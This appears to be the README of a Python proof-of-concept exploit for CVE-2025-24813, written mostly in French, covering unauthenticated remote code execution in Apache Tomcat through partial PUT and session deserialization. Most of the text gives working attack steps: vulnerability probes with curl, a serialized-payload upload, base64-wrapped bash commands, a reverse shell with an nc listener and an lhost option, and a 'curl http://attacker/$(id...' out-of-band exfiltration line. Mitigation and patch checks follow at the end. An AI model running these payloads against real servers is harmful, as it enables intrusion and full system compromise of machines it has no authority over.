PoC Python exploitant CVE-2025-24813, une RCE par désérialisation via PUT partiel dans Apache Tomcat. Détecte automatiquement les variantes vulnérables, prend en charge l'exécution aveugle de commandes et les reverse shells.
Gravité : Critique (CVSS 9.8) Authentification requise : Aucune Affecté : Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Corrigé dans : Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat prend en charge le PUT partiel (upload par morceaux via Content-Range).
Lorsqu'un PUT partiel arrive, Tomcat stocke le corps dans un fichier temporaire sous :
$CATALINA_HOME/work/…/<url-path-filename>
Si l'application est configurée avec PersistentManager + FileStore dans context.xml,
Tomcat lit automatiquement les fichiers *.session depuis le même répertoire de travail et les
pour restaurer les sessions.
En combinant ces deux comportements :
PUT /<sid>.session → écrit la charge utile sérialisée Java dans work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat charge et désérialise le fichier → RCE
Le point (.) en tête de la valeur du cookie déclenche la recherche de session par chemin absolu
(variante B), qui est le chemin permettant d'atteindre de manière fiable le fichier stocké.
Ce PoC utilise CommonsCollections6 de ysoserial,
qui fonctionne sur Java 8–17 sans les options @jdk.internal et ne dépend pas de
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Statut | Signification |
|---|---|
| PUT 201 | Fichier stocké dans le répertoire de travail de Tomcat |
| PUT 409 | Chemin bloqué (traversée rejetée) |
| GET 200 | Session introuvable / non désérialisée |
| GET 500 | Désérialisation déclenchée → RCE |
L'upload est un flux binaire brut sérialisé Java — aucun encodage URL. Contrairement aux exploits par paramètres de requête HTTP, la charge utile est placée dans le corps de la requête via PUT, il n'y a donc aucune couche d'encodage URL à gérer :
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
L'en-tête Content-Range signale un upload partiel ; Tomcat écrit le corps sur disque
tel quel, préservant chaque octet de la charge utile sérialisée.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
Le script détecte automatiquement la variante A/B, s'arrête après le premier succès et affiche le chemin gagnant pour que vous sachiez exactement ce qui a fonctionné.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 est aveugle — Runtime.exec() exécute la commande, mais sa sortie standard/erreur
est ignorée ; la réponse HTTP reflète uniquement si la désérialisation a réussi (500)
ou non (200).
Trois façons d'obtenir la sortie :
| Méthode | Comment |
|---|---|
| Fichier dans le webroot | Rediriger la sortie vers un fichier dans /…/webapps/ROOT/, le récupérer via HTTP |
| Reverse shell | Option --revshell — obtenir un shell interactif, exécuter n'importe quelle commande en direct |
| DNS/OOB | `curl http://attacker/$(id |
| Branche | Vulnérable | Corrigé |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
Dans $CATALINA_HOME/conf/web.xml, trouvez le init-param du DefaultServlet et définissez :
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
Ou désactivez PersistentManager dans context.xml s'il n'est pas nécessaire :
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
Uniquement pour les tests de sécurité autorisés et à des fins éducatives.